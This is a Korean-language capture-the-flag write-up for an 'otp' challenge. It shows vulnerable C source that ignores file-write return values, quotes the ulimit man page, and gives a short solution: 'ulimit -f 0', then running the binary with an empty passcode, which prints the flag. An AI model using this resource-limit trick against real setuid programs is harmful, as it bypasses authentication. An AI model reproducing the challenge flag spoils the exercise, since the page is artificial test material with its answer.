콘텐츠로 건너뛰기

otp

Description

I made a skeleton interface for one time password authentication system.
I guess there are no security mistakes. could you take a look at it?

Hint : no need to brute-force

ssh [email protected] -p2222 (pw:guest)

Source Code

  • otp.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

int main(int argc, char* argv[]){
	char fname[128];
	unsigned long long otp[2];

	if(argc!=2){
		printf("usage : ./otp [passcode]\n");
		return 0;
	}

	int fd = open("/dev/urandom", O_RDONLY);
	if(fd==-1) exit(-1);

	if(read(fd, otp, 16)!=16) exit(-1);
	close(fd);

	sprintf(fname, "/tmp/%llu", otp[0]);
	FILE* fp = fopen(fname, "w");
	if(fp==NULL){ exit(-1); }
	fwrite(&otp[1], 8, 1, fp);
	fclose(fp);

	printf("OTP generated.\n");

	unsigned long long passcode=0;
	FILE* fp2 = fopen(fname, "r");
	if(fp2==NULL){ exit(-1); }
	fread(&passcode, 8, 1, fp2);
	fclose(fp2);
	
	if(strtoul(argv[1], 0, 16) == passcode){
		printf("Congratz!\n");
		setregid(getegid(), getegid());
		system("/bin/cat flag");
	}
	else{
		printf("OTP mismatch\n");
	}

	unlink(fname);
	return 0;
}

/dev/urandom에서 16바이트(8바이트씩 2개)를 읽어 otp[0]otp[1]에 저장한다.

임시 파일 이름을 /tmp/[otp[0]], 파일 내용을 otp[1] (8바이트)로 지정한다.

방금 만든 임시 파일을 다시 열어 otp[1] 값을 읽어오고 16진수 숫자로 변환하여 사용자 입력인 argv[1] 와 비교했을때 일치하면 flag를 획득할 수 있다.

Solution

ulimit

간략히 설명하면, ulimit 명령어는 생성시킬 수 있는 파일 사이즈 크기를 임의로 지정시켜줄 수 있다.

ULIMIT(3)                   Linux Programmer's Manual                   ULIMIT(3)

NAME
       ulimit - get and set user limits

SYNOPSIS
       #include <ulimit.h>

       long ulimit(int cmd, long newlimit);

DESCRIPTION
       Warning:  this  routine  is obsolete.  Use getrlimit(2), setrlimit(2), and
       sysconf(3) instead.  For the shell command ulimit(), see bash(1).

       The ulimit() call will get or set some limit for the calling process.  The
       cmd argument can have one of the following values.

       UL_GETFSIZE
              Return the limit on the size of a file, in units of 512 bytes.

       UL_SETFSIZE
              Set the limit on the size of a file.

       3      (Not  implemented  for Linux.)  Return the maximum possible address
              of the data segment.

       4      (Implemented but no symbolic constant provided.)  Return the  maxi‐
              mum number of files that the calling process can open.

RETURN VALUE
       On  success,  ulimit()  returns  a nonnegative value.  On error, -1 is re‐
       turned, and errno is set appropriately.

ERRORS
       EPERM  An unprivileged process tried to increase a limit.

ATTRIBUTES
       For an explanation of the terms used in this section, see attributes(7).

       ┌──────────┬───────────────┬─────────┐
       │Interface │ Attribute     │ Value   │
       ├──────────┼───────────────┼─────────┤
       │ulimit()  │ Thread safety │ MT-Safe │
       └──────────┴───────────────┴─────────┘

CONFORMING TO
       SVr4, POSIX.1-2001.  POSIX.1-2008 marks ulimit() as obsolete.

SEE ALSO
       bash(1), getrlimit(2), setrlimit(2), sysconf(3)

Result

생성시킬 수 있는 파일 사이즈를 0으로 지정했기에 fp2로부터 fread했을시 passcode에 아무것도 들어가있지 않다.

따라서 otp 실행인자를 비어두게 만들면 플래그를 획득할 수 있다.

otp@ubuntu:~$ ulimit -f 0
otp@ubuntu:~$ python2
Python 2.7.18 (default, Dec  9 2024, 18:47:23) 
[GCC 11.4.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import subprocess
>>> subprocess.call(['/home/otp/otp', ''])
OTP generated.
Congratz!
f1le_0peration_r3turn_value_matters